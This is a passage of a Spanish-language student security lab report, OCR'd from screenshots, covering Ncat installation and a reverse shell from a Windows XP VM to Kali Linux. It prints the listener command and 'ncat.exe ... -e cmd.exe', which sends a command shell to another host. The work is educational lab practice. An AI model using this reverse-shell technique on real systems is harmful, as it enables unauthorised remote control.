Miff {Scan comparisol
Mping (Packet generat
nmap-update (update

4 | *

Space required; 72.0ME

< Back. ” Mext = ] [ Cancel

Ilustracion 40 Instalacion Netcat

La siguiente ventana mostro la seleccion de componentes adicionales donde, se verifico que
Netcat (Ncat) estuviera seleccionado dentro de los componentes de instalacion. Una vez

confirmadas las opciones, se hizo clic en Next para continuar con el proceso de instalacion.
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© Nmap Setup

Installing
Please wait while Mmap is being inskalled, 9

Execute; “Ciharchivos de programaihmapivoredist_x36.exe” /g
[IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII ]

Shiow details

rullsoft Inskall System vz, 46

< Back Mexk = Cancel

llustracion 41 Proceso de finalizacion de instalacion Netcat

El asistente mostrd la ventana de progreso de instalaciéon de Nmap, donde se pudo observar
la barra de avance que indicaba la copia e instalacion de los componentes seleccionados, se
esper6 hasta que la barra de progreso alcanzo el 100 %, momento en el cual se complet6 la

instalacion.

llustracion 42 Visualizacion en el Escritorio de Nmap



Se procedid a verificar la correcta instalacion del componente Ncat desde la consola de

comandos de Windows XP. Para ello, se ejecutd la instruccion:

C:AWINDOWSA\system 3 2%cmd. exe

Microzoft Windows HP [Uerszion 5.1.26HA]
¢G> GCopyright 1985-2881 Microsoft Corp.

C:“Documents and Settingz“Matalia HPX*ncat —version
Mcat:- Uersion 6.47 < http://nmap.orgsncat 2

C:sDocuments and Settings“Matalia AP>_

llustracion 43 Verificacion de la version Netcat

En la maquina Kali Linux también se verifico la presencia de la herramienta Netcat (Ncat)

ejecutando el comando: ncat —versiéon

El sistema indicd que el programa no se encontraba instalado, por lo que se procedi6 a

instalarlo.

kali@lali: ~

[sudo] cont na para kali:
Installing:

Summary:
Installing: 1, Removing: @, Not Upgrading:

MB available

i-rolling/non-fr amd64 ncat amd64 7.95+dfsg-3kalil [509 kB]

act s ins actualmente.)
alil_amdé6s.de

[lustracion 44Instalacion Netcat Kali



Una vez finalizada la instalacion, se volvio a ejecutar el comando de verificacion y se

confirmo que la herramienta habia sido instalada correctamente.

/home/kali
I http://100.10.2.5:80

HTTP/1.1 200 OK
Server: BadBlue/2.7
Content-Type: text/html
Accept-Ranges: bytes
Date: Wed, 08 Oct 2025 21:02:46 GMT
ETag: "3f45655a8f87dbel:43d"
Last-Modified: Fri, 22 Aug 2003 00:35:38 GMT
Content-Length: 1085
Connection: close
Cache-control: public

Llustracion 45 Comprobacion que el servicio web responde

En la imagen anterior se muestra la comprobacion de respuesta del servicio web BadBlue

mediante el comando: curl -1 http://100.10.2.5:80

La respuesta del servidor fue HTTP/1.1 200 OK, lo que confirmé que el servicio web se

encontraba activo y operativo en la direccion IP 100.10.2.5 a través del puerto 80.

/home/kali
100.10.2.5 80

pool-100-10-2-5.prvdri.fios.verizon.net [100.10.2.5] 80 (http) open

Hustracion 46Comprobacion puerto TCP

También se realizo la verificacion del estado del puerto 80 utilizando la herramienta Netcat

(nc) desde la maquina Kali Linux. El comando ejecutado fue: nc -vz 100.10.2.5 80

El resultado obtenido indic6 que el puerto 80 (HTTP) en la direccion 100.10.2.5 se

encontraba abierto, mostrando el mensaje open, como se observa en la imagen.


http://100.10.2.5/

Una vez realizadas las comprobaciones, el paso siguiente consistié en poner la maquina en

escucha para recibir conexiones entrantes:

/home/kali
-lvnp 80

Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:80
Ncat: Listening on 0.0.0.0:80

llustracion 47 maquina a la escucha

La méquina Kali Linux fue configurada en modo escucha utilizando la herramienta Ncat.

Para ello, se ejecutd el comando: ncat -lvnp 80

Con esta instruccion, el sistema inicid el proceso de escucha en el puerto 80, quedando a la

espera de conexiones entrantes provenientes de otros equipos de la red.

La salida del comando mostro la version 7.95 de Ncat y los mensajes Listening on [::]:80 y

Listening on 0.0.0.0:80, lo que indicé que la maquina estaba escuchando correctamente.

C:AWINDOWSA\system32hcmd.exe - ncat.exe 100.10.2.4 80 -e cmd.exe

Microsoft Windows HP [Uersidn 5.1.26801
(C» Copyright 1985-2001 Microsoft Corp.

C:Documents and Settings“Matalia HP>cd Escritorio

C:“Documents and Settings“Matalia HP“EscritorioXncat.exe 188_.18_.2.4 BA —e cmd.ex
&

llustracion 48 conexion TCP

Desde la maquina Windows XP también se ejecuto la conexion hacia Kali Linux utilizando

la herramienta Ncat.

Primero, se accedio al directorio donde se encontraba el archivo ejecutable y luego se ejecutd

el siguiente comando en la consola de cmd.exe: ncat.exe 100.10.2.4 80 -e cmd.exe



Con ese comando, la maquina Windows XP abrid una conexion hacia la direccion 100.10.2.4
(Kali Linux) usando el puerto 80 y envio la consola de comandos (cmd.exe) a través de esa

conexion.

De esta manera, la ventana de comandos de Windows quedé conectada a la maquina Kali, lo

que permitio6 intercambiar 6rdenes y respuestas de forma remota entre ambos equipos.

En Kali Linux, el puerto en escucha acepto la conexion y se abrié una consola remota de
Windows: La maquina Kali Linux recibi6 la conexion proveniente de Windows XP a través

del puerto 80.

vnp 80
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 100.10.2.5:1139.
Microsoft Windows XP [Versien 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Natalia XP\Escritorio>whoami

1lustracion 49 Conexion aceptada

Ncat mostré el mensaje Connection from 100.10.2.5, indicando que la méquina con esa

direccion IP, correspondiente a Windows XP, logr6 conectarse con €xito.



C:\Documents and Settings\Natalia XP\Escritorio>whoami
whoami

C:\Documents and Settings\Natalia XP\Escritorio>dir
dir

El volumen de la unidad C no tiene etiqueta.

ELl nemero de serie del volumen es: FO59-A66F

Directorio de C:\Documents and Settings\Natalia XP\Escritorio

09/10/2025 00: <DIR>
09/10/2025 : <DIR> =
08/10/2025 776 BadBlue Personal Edition.lnk
08/10/2025 720.640 badblue-pe-2.72a.exe
08/10/2025 22:: 2.718.208 Camoul2l.exe
09/10/2025 : 687 Nmap - Zenmap GUI.lnk
08/10/2025 s 27.111.830 nmap-6.47-setup.exe

5 archivos 30.552.141 bytes

2 dirs 7.021.219.840 bytes libres

C:\Documents and Settings\Natalia XP\Escritorio>ipconfig
ipconfig

Ilustracion 50 Listado del directorio

Se ejecutaron varios comandos para comprobar el acceso y la correcta comunicacion.
Primero, se utilizo el comando whoami, el cual mostr6é el nombre del usuario activo en la

maquina XP.

Luego se ejecuto el comando dir, que permitio listar el contenido del escritorio de Windows
XP. En la salida se observaron varios archivos, como BadBlue Personal Edition, Camouflage,
Nmap — Zenmap GUI, y nmap-6.47-setup.exe y por ultimo el comando ipconfig para

visualizar la configuracion de red y comprobar la direccion IP asignada a la méaquina XP.



3 RECOMENDACIONES

Se recomienda que las maquinas virtuales se configuren en la misma red NAT para asegurar
una comunicacion estable entre Kali Linux y Windows XP. También, utilizar la version

correcta de Netcat compatible con Windows XP para evitar problemas de compatibilidad.



4 CONCLUSIONES

Camouflage se presenta como una herramienta eficaz para el ocultamiento de archivos, lo
que pone en evidencia la necesidad de implementar medidas de seguridad que permitan
detectar y prevenir este tipo de técnicas, se resalta la importancia de verificar los tamafios de
los archivos para identificar datos sospechosos que puedan indicar la presencia de datos

ocultos.

Por otra parte, se logré establecer correctamente la conexion a través del puerto 80 utilizando
la herramienta de red Netcat (Ncat), lo que permitié6 una comunicacion efectiva entre las

maquinas virtuales y una mejor comprension del funcionamiento de los servicios de red.

En general, el laboratorio se desarrolld con éxito, contribuyendo al fortalecimiento de los
conocimientos en seguridad de redes, y brindando una experiencia practica sobre el uso y

analisis de herramientas relacionadas con la administracion y la proteccion de sistemas.
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